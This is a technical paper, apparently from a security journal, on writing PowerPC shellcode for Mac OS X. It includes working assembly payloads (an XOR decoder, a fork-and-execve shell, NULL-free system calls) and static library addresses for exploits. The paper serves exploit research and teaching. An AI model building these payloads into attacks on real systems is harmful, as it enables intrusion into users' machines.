Mac OS X PPC Shellcode Tricks

H D Moore
hdm[at]metasploit.com

Contents

Chapter 1

Foreword

Abstract: Developing shellcode for Mac OS X is not particularly difficult, but there are a number of tips and techniques that can make the process easier and more effective. The independent data and instruction caches of the PowerPC processor can cause a variety of problems with exploit and shellcode development. The common practice of patching opcodes at run-time is much more involved when the instruction cache is in incoherent mode. NULL-free shellcode can be improved by taking advantage of index registers and the reserved bits found in many opcodes, saving space otherwise taken by standard NULL evasion techniques. The Mac OS X operating system introduces a few challenges to unsuspecting developers; system calls change their return address based on whether they succeed and oddities in the Darwin kernel can prevent standard execve() shellcode from working properly with a threaded process. The virtual memory layout on Mac OS X can be abused to overcome instruction cache obstacles and develop even smaller shellcode.

Thanks: The author would like to thank B-r00t, Dino Dai Zovi, LSD, Palante, Optyx, and the entire Uninformed Journal staff.

Chapter 2

Introduction

With the introduction of Mac OS X, Apple has been viewed with mixed feelings by the security community. On one hand, the BSD core offers the familiar Unix security model that security veterans already understand. On the other, the amount of proprietary extensions, network-enabled software, and growing mass of advisories is giving some a cause for concern. Exploiting buffer overflows, format strings, and other memory-corruption vulnerabilities on Mac OS X is a bit different from what most exploit developers are familiar with. The incoherent instruction cache, combined with the RISC fixed-length instruction set, raises the bar for exploit and payload developers.

On September 12th of 2003, B-r00t published a paper titled "Smashing the Mac for Fun and Profit". B-root's paper covered the basics of Mac OS X shellcode development and built on the PowerPC work by LSD, Palante, and Ghandi. This paper is an attempt to extend, rather than replace, the material already available on writing shellcode for the Mac OS X operating system. The first section covers the fundamentals of the PowerPC architecture and what you need to know to start writing shellcode. The second section focuses on avoiding NULL bytes and other characters through careful use of the PowerPC instruction set. The third section investigates some of the unique behavior of the Mac OS X platform and introduces some useful techniques.

Chapter 3

PowerPC Basics

The PowerPC (PPC) architecture uses a reduced instruction set consisting of 32-bit fixed-width opcodes. Each opcode is exactly four bytes long and can only be executed by the processor if the opcode is word-aligned in memory.

3.1 Registers

PowerPC processors have thirty-two 32-bit general-purpose registers (r0-r31)[1], thirty-two 64-bit floating-point registers (f0-f31), a link register (lr), a count register (ctr), and a handful of other registers for tracking things like branch conditions, integer overflows, and various machine state flags. Some PowerPC processors also contain a vector-processing unit (AltiVec, etc), which can add another thirty-two 128-bit registers to the set.

On the Darwin/Mac OS X platform, r0 is used to store the system call number, r1 is used as a stack pointer, and r3 to r7 are used to pass arguments to a system call. General-purpose registers between r3 and r12 are considered volatile and should be preserved before the execution of any system call or library function.

```
;;
;; Demonstrate execution of the reboot system call
;;
main:
li r0, 55 ; #define SYS_reboot 55
sc
```

[1]PowerPC 64-bit processors have 64-bit general-purpose registers, but still use 32-bit opcodes

3.2 Branches

Unlike the IA32 platform, PowerPC does not have a call or jmp instruction. Execution flow is controlled by one of the many branch instructions. A branch can redirect execution to a relative address, absolute address, or the value stored in either the link or count registers. Conditional branches are performed based on one of four bit fields in the condition register. The count register can also be used as a condition for branching and some instructions will automatically decrement the count register. A branch instruction can automatically set the link register to be the address following the branch, which is a very simple way to get the absolute address of any relative location in memory.

```
;;
;; Demonstrate GetPC() through a branch and link instruction
;;
main:

xor. r5, r5, r5 ; xor r5 with r5, storing the value in r5
                ; the condition register is updated by the . modifier
ppcGetPC:
bnel ppcGetPC   ; branch if condition is not-equal, which will be false
                ; the address of ppcGetPC+4 is now in the link register

mflr r5         ; move the link register to r5, which points back here
```

3.3 Memory

Memory access on PowerPC is performed through the load and store instructions. Immediate values can be loaded to a register or stored to a location in memory, but the immediate value is limited to 16 bits. When using a load instruction on a non-immediate value, a base register is used, followed by an offset from that register to the desired location. Store instructions work in a similar fashion; the value to be stored is placed into a register, and the store instruction then writes that value to the destination register plus an offset value.[2]

Since each PowerPC instruction is 32 bits wide, it is not possible to load a 32-bit address into a register with a single instruction. The standard method of loading a full 32-bit value requires a load-immediate-shift (lis) followed by an or-immediate (ori). The first instruction loads the high 16 bits, while the second loads the lower 16 bits[3][4]. This 16-bit limitation also applies to relative branches and every other instruction that uses an immediate value.

```
;;
;; Load a 32-bit immediate value and store it to the stack
;;
main:

lis r5, 0x1122      ; load the high bits of the value
                    ; r5 contains 0x11220000

ori r5, r5, 0x3344  ; load the low bits of the value
                    ; r5 now contains 0x11223344

stw r5, 20(r1)      ; store this value to SP+20
lwz r3, 20(r1)      ; load this value back to r3
```

[2]Multi-word memory instructions exist, but are considered bad practice to use, since they may not be supported in future PowerPC processors.

[3]Some people prefer to use add-immediate-shift against the r0 general purpose register. The r0 register has a special property in that anytime it is used for addition or substraction, it is treated as a zero, regardless of the current value

[4]64-bit PowerPC processors require five separate instructions to load a 32-bit immediate value into a general-purpose register

3.4 L1 Cache

The PowerPC processor uses one or more on-chip memory caches to accelerate access to frequently referenced data and instructions. This cache memory is separated into a distinct data and instruction cache. Although the data cache operates in coherent mode on Mac OS X, shellcode developers need to be aware of how the data cache and the instruction cache interoperate when executing self-modifying code.

As a superscalar architecture, the PowerPC processor contains multiple execution units, each of which has a pipeline. The pipeline can be described as a conveyor belt in a factory; as an instruction moves down the belt, specific steps are performed. To increase the efficiency of the pipeline, multiple instructions can put on the belt at the same time, one behind another. The processor will attempt to predict which direction a branch instruction will take and then feed the pipeline with instructions from the predicted path. If the prediction was wrong, the contents of the pipeline are trashed and correct instructions are loaded into the pipeline instead.

This pipelined execution means that more than one instruction can be processed at the same time in each execution unit. If one instruction requires the output of another, a gap can occur in the pipeline while these dependencies are satisfied. In the case of store instruction, the contents of the data cache will be updated before the results are flushed back to main memory. If a load instruction is executed directly after the store, it will obtain the newly-updated value. This occurs because the load instruction will read the value from the data cache, where it has already been updated.

The instruction cache is a different beast altogether. On the PowerPC platform, the instruction cache is incoherent. If an executable region of memory is modified and that region is already loaded into the instruction cache, the modifed instructions will not be executed unless the cache is specifically flushed. The instruction cache is filled from main memory, not the data cache. If you attempt to modify executable code through a store instruction, flush the cache, and then attempt to execute that code, there is still a chance that the original, unmodified code will be executed instead. This can occur because the data cache was not flushed back to main memory before the instruction cache was filled.

The solution is a bit tricky, you must use the ”dcbf” instruction to invalidate each block of memory from the data cache, wait for the invalidation to complete with the ”sync” instruction, and then flush the instruction cache for that block with ”icbi”. Finally, the ”isync” instruction needs to be executed before the modified code is actually used. Placing these instructions in any other order may result in stale data being left in the instruction cache. Due to these restrictions, self-modifying shellcode on the PowerPC platform is rare and often unreliable.

The example below is a working PowerPC shellcode decoder included with the

Metasploit Framework (OSXPPCLongXOR).

```
;;
;; Demonstrate a cache-safe payload decoder
;; Based on Dino Dai Zovi's PPC decoder (20030821)
;;
main:
xor.    r5, r5, r5              ; Ensure that the cr0 flag is always 'equal'
bnel    main                    ; Branch if cr0 is not-equal and link to LMain
mflr    r31                     ; Move the address of LMain into r31
addi    r31, r31, 68+1974       ; 68 = distance from branch -> payload
                                ; 1974 is null eliding constant
subi    r5, r5, 1974            ; We need this for the dcbf and icbi
lis     r6, 0x9999              ; XOR key = hi16(0x99999999)
ori     r6, r6, 0x9999          ; XOR key = lo16(0x99999999)
addi    r4, r5, 1974 + 4        ; Move the number of words to code into r4
mtctr   r4                      ; Set the count register to the word count

xorlp:
lwz     r4, -1974(r31)          ; Load the encoded word into memory
xor     r4, r4, r6              ; XOR this word against our key in r6
stw     r4, -1974(r31)          ; Store the modified work back to memory
dcbf    r5, r31                 ; Flush the modified word to main memory
.long   0x7cff04ac              ; Wait for the data block flush (sync)
icbi    r5, r31                 ; Invalidate prefetched block from i-cache

subi    r30, r5, -1978          ; Move to next word without using a NULL
add.    r31, r31, r30

bdnz-   xorlp                   ; Branch if --count == 0
.long   0x4cff012c              ; Wait for i-cache to synchronize (isync)

; Insert XORed payload here
.long   (0x7fe00008 ^ 0x99999999)
```

Chapter 4

Avoiding NULLs

One of the most common problems encountered with shellcode development in general and RISC processors in particular is avoiding NULL bytes in the assembled code. On the IA32 platform, NULL bytes are fairly easy to dodge, mostly due to the variable-length instruction set and multiple opcodes available for a given task. Fixed-width opcode architectures, like PowerPC, have fixed field sizes and often pad those fields with all zero bits. Instructions that have a set of undefined bits often set these bits to zero as well. The result is that a many of the available opcodes are impossible to use with NULL-free shellcode without modification.

On many platforms, self-modifying code can be used to work around NULL byte restrictions. This technique is not useful for single-instruction patching on PowerPC, since the instruction pre-fetch and instruction cache can result in the non-modified instruction being executed instead.

4.1 Undefined Bits

To write interesting shellcode for Mac OS X, you need to use system calls. One of the first problems encountered with the PowerPC platform is that the system call instruction assembles to 0x44000002, which contains two NULL bytes. If we take a look at the IBM PowerPC reference for the 'sc' instruction, we see that the bit layout is as follows:

```
010001 00000 00000 0000 0000000 000 1 0
------ ----- ----- ---- ------- --- - -
  A      B     C     D     E     F  G H
```

These 32 bits are broken down into eight specific fields. The first field (A), which is 5 bits wide, must be set to the value 17. The bits that make up B, C, and D are all marked as undefined. Field E is must either be set to 1 or 0. Fields F and H are undefined, and G must always be set to 1. We can modify the undefined bits to anything we like, in order to make the corresponding byte values NULL-free. The first step is to reorder these bits along byte boundaries and mark what we are able to change.

```
? = undefined
# = zero or one
[010001??] [????????] [????0000] [00#???1?]
```

The first byte of this instruction can be either 68, 69, 70, or 71 (DEFG). The second byte can be any character at all. The third byte can either be 0, 16, 32, 48, 64, 80, 96, 112, 128, 144, 160, 176, 192, 208, 224, or 240 (which contains '0', 'P', and 'p', among others). The fourth value can be any of the following values: 2, 3, 6, 7, 10, 11, 14, 15, 18, 19, 22, 23, 26, 27, 30, 31, 34, 35, 38, 39, 42, 43, 46, 47, 50, 51, 54, 55, 58, 59, 62, 63. As you can see, it is possible to create thousands of different opcodes that are all treated by the processor as a system call. The same technique can be applied to almost any other instruction that has undefined bits.[1]

```
;;
;; Patching the undefined bits in the 'sc' opcode
;;
main:
li r0, 1         ; sys_exit
li r3, 0         ; exit status
.long 0x45585037 ; sc patched as "EXP7"
```

[1]Although the current line of PowerPC chips used with Mac OS X seem to ignore the undefined bits, future processors may actually use these bits. It is entirely possible that undefined bit abuse can prevent your code from working on newer processors

4.2 Index Registers

On the PowerPC platform, immediate values are encoded using all 16 bits. If the assembled value of your immediate contains a NULL, you will need to find another way to load it into the target register. The most common technique is to first load a NULL-free value into a register, then substract that value minus the difference to your immediate.

```
;;
;; Demonstrate index register usage
;;
main:
li r7, 1999          ; place a NULL-free value into the index
subi r5, r7, 1999-1  ; substract our value minus the target
                     ; the r5 register is now set to 1
```

If you have a rough idea of the immediate values you will need in your shellcode, you can take this a step further. Set your initial index register to a value, that when decremented by the immediate value, actually results in a character of your choice. If you have two distant ranges (1-10 and 50-60), then consider using two index registers. The example below demonstrates an index register that works for the system call number as well as the arguments, leaving the assembled bytes NULL-free. As you can see, besides the four bytes required to set the index register, this method does not significantly increase the size of the code.

```
;;
;; Create a TCP socket without NULL bytes
;;
main:
li r7, 0x3330           ; 0x38e03330 = NULL-free index value
subi r0, r7, 0x3330-97  ; 0x3807cd31 = system call for sys_socket
subi r3, r7, 0x3330-2   ; 0x3867ccd2 = socket domain
subi r4, r7, 0x3330-1   ; 0x3887ccd1 = socket type
subi r5, r7, 0x3330-6   ; 0x38a7ccd6 = socket protocol
.long 0x45585037        ; patched 'sc' instruction
```

4.3 Branching

Branching to a forward address without using NULL bytes can be tricky on PowerPC systems. If you try branching forward, but less than 256 bytes, your opcode will contain a NULL. If you obtain your current address and want to branch to an offset from it, you will need to place the target address into the count register (ctr) or the link register (lr). If you decide to use the link register, you will notice that every valid form of ”blr” has a NULL byte. You can avoid the NULL byte by setting the branch hint bits (19-20) to ”11” (unpredictable branch, do not optimize). The resulting opcode becomes 0x4e804820 instead of 0x4e800020 for the standard ”blr” instruction.

The branch prediction bit (bit 10) can also come in handy, it is useful if you need to change the second byte of the branch instruction to a different character. The prediction bit tells the processor how likely it is that the instruction will result in a branch. To specify the branch prediction bit in the assembly source, just place '-' or '+' after the branch instruction.

Chapter 5

Mac OS X Tricks

This section describes a handful of tips and tricks for writing shellcode on the Mac OS X platform.

5.1 Diagnostic Tools

Mac OS X includes a solid collection of development and diagnostic tools, many of which are invaluable for shellcode and exploit development. The list below describes some of the most commonly used tools and how they relate to shellcode development.

- Xcode: This package includes 'gdb', 'gcc', and 'as'. Sadly, objdump is not included and most disassembly needs to be done with 'gdb' or 'otool'.
- ktrace: The ktrace and kdump tools are equivalent to strace on Linux and truss on Solaris. There is no better tool for quickly diagnosing shellcode bugs.
- vmmap: If you were looking for the equivalent of /proc/pid/maps, you found it. Use vmmap to figure out where the heaps, libraries, and stacks are mapped.
- crashreporterd: This daemon runs by default and creates very nice crash dumps when a system service dies. Invaluable for finding 0-day in Mac OS X services. The crashdump logs can be found in /Library/Logs/CrashReporter.
- heap: Quickly list all active heaps in a process. This can be handy when the instruction cache prevents a direct return and you need to find an alternate shellcode location.

- otool: List all libraries linked to a given binary, disassemble mach-o binaries, and display the contents of any section of an executable or library. This is the equivalent of 'ldd' and 'objdump' rolled into a single utility.

5.2 System Call Failure

An interesting feature of Mac OS X is that a successful system call will return to the address 4 bytes after the end of 'sc' instruction and a failed system call will return directly after the 'sc' instruction. This allows you to execute a specific instruction only when the system call fails. The most common application of this feature is to branch to an error handler, although it can also be used to set a flag or a return value. When writing shellcode, this feature is usually more annoying than anything else, since it boosts the size of your code by four bytes per system call. In some cases though, this feature can be used to shave an instruction or two off the final payload.

5.3 Threads and Execve

Mac OS X has an undocumented behavior concerning the execve() system call inside a threaded process. If a process tries to call execve() and has more than one active thread, the kernel returns the error EOPNOTSUPP. After a closer look at kern_exec.c in the Darwin XNU source code, it becomes apparent that for shellcode to function properly inside a threaded process, it will need to call either fork() or vfork() before calling execve().

```
;;
;; Fork and execute a command shell
;;
main:
_fork:
    li      r0, 2
    sc
    b       _exitproc

_execsh:                        ; based on ghandi's execve
    xor.    r5, r5, r5
    bnel    _execsh
    mflr    r3
    addi    r3, r3, 32          ; 32
    stw     r3, -8(r1)          ; argv[0] = path
    stw     r5, -4(r1)          ; argv[1] = NULL
    subi    r4, r1, 8           ; r4 = {path, 0}
    li      r0, 59
    sc                          ; execve(path, argv, NULL)
    b       _exitproc

_path:
    .ascii "/bin/csh"           ; csh handles seteuid() for us
    .long   0

_exitproc:
    li      r0, 1
    li      r3, 0
    sc
```

5.4 Shared Libraries

The Mac OS X user community tends to have one thing in common – they keep their systems up to date. The Apple Software Update service, once enabled, is very insistent about installing new software releases as they become available. The result is that nearly every single Mac OS X system has the exact same binaries. System libraries are often loaded at the exact same virtual address across all applications. In this sense, Mac OS X is starting to resemble the Windows platform.

If all processes on all Mac OS X system have the same virtual addresses for the same libraries, Windows-style shellcode starts to become possible. Assuming you can find the right argument-setting code in a shared library, return-to-library payloads also become much more feasible. These libraries can be used as return addresses, similar to how Windows exploits often return back to a loaded DLL. Some useful addresses are listed below:

- 0x90000000: The base address of the system library (libSystem.B.dylib), most of the function locations are static across all versions of OS X.
- 0xffff8000: The base address of the "common" page. A number of useful functions and instructions can be found here. These functions include __memcpy, __sys_dcache_flush, __sys_icache_invalidate, and __bcopy.

The following NULL-free example uses the __sys_icache_invalidate function to flush 1040 bytes from the instruction cache, starting at the address of the payload:

```
;;
;; Flush the instruction cache in 32 bytes
;;
main:
_main:
xor.    r5, r5, r5
bnel    main
mflr    r3

;; flush 1040 bytes starting after the branch
li      r4, 1024+16

;; 0xffff8520 is __sys_icache_invalidate()
addis   r8, r5, hi16(0xffff8520)
ori     r8, r8, lo16(0xffff8520)
mtctr   r8
bctrl
```

Chapter 6

Conclusion

In the first section, we covered the fundamentals of the PowerPC platform and described the syscall calling convention used on the Darwin/Mac OS X platform. The second section introduced a few techniques for removing NULL bytes from some common instructions. In the third section, we presented some of the tools and techniques that can be useful for shellcode development.

Bibliography

[1] B-r00t *PowerPC / OSX (Darwin) Shellcode Assembly.*
http://packetstormsecurity.org/shellcode/PPC_OSX_Shellcode_Assembly.pdf

[2] Bunda, Potter, Shadowen *Powerpc Microprocessor Developer's Guide.*
http://www.amazon.com/exec/obidos/tg/detail/-/0672305437/

[3] Steve Heath *Newnes Power PC Programming Pocket Book.*
http://www.amazon.com/exec/obidos/tg/detail/-/0750621117/

[4] IBM *PowerPC Assembler Language Reference.*
http://publib16.boulder.ibm.com/pseries/en_US/aixassem/alangref/mastertoc.htm